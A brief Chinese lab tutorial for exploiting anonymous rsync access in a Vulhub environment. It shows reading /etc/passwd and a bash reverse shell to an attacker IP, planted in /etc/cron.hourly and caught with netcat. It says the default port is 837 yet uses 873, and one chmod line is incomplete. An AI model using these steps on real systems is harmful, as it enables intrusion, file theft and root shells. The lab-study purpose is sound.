Rsync(Remote Sync)是一个用于文件和目录同步的开源工具,广泛用于Linux和Unix系统中,它通过比较源文件和目标文件的差异只传输变化的部分,实现高效的增量备份和文件同步,Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权就会触发隐患,Rsync的默认端口为837
这里我们使用Vulhub来构建环境
docker-compose up -d
#命令格式
rsync rsync://{target_ip}/
#执行示例
rsync rsync://192.168.204.191:873/
rsync rsync://192.168.204.191:873/src
任意文件下载
rsync rsync://192.168.204.191:873/src/etc/passwd ./
通过使用rsync反弹shell
# 下载crontab配置文件
rsync rsync://192.168.204.191:873/src/etc/crontab ./
该环境crontab中的以下内容表示每小时的第17分钟执行run-parts --report /etc/cron.hourly
17 * * * * root cd / && run-parts --report /etc/cron.hourly
随后我们写入bash并赋权:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.204.135/4444 0>&1
chmod 777
随后我们将文件上传至/etc/cron.hourly
rsync -av nc rsync://192.168.204.191:873/src/etc/cron.hourly
# 本地监听4444
nc -lnvp 4444
反弹成功: